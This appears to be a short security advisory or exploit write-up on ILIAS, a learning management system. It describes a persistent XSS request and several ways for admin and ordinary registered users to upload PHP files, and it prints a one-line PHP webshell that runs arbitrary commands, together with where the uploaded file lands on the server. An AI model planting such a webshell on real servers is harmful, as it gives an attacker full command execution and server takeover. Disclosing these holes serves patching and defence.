# Home ....| www.ilias.de

# ==============================================================

First from admin user logged in:

# ==============================================================

# 1. Persistent xss

---<request>---

POST /k/cms/ilias/ilias.php?wsp_id=2&cmd=post&cmdClass=ilobjbloggui&cmdNode=mw:my:ma&baseClass=

ilPersonalDesktopGUI&fallbackCmd=createPosting&rtoken=6bac7751a71721f25adb9e579dea4344 HTTP/1.1

---<request>---

# ==============================================================

# 2. Possibility of uploading webshell

Uploaded file can be found in the ILIAS directories, for example:

---<code>---

k@lab:~/public_html/cms/ilias$ cat ./44444/ilFile/3/file_334/001/shell.php

<?php system($_REQUEST['cmd']); ?>

k@lab:~/public_html/cms/ilias$

---<code>---

Direct access to this file will give you a webshell.

* This bug will be described later in section for 'normal/registered' user.

# ==============================================================

# 4. Another webshell upload possibility

There is a possibility of creating webshell when php file is added as an attachement

to email to user(s).

All shells will be located in /ilias/ (wwwroot) directory with value from 'client_id'

(for example: client_id=44444, then your shell is in /ilias/44444/...)

# ==============================================================

Second: from normal/registered user logged in:

# ==============================================================

# 1. When normal user is registered on the latest ILIAS, he is able to add

PHP file contains simple shell. From this moment he will be able to hack

the whole server.
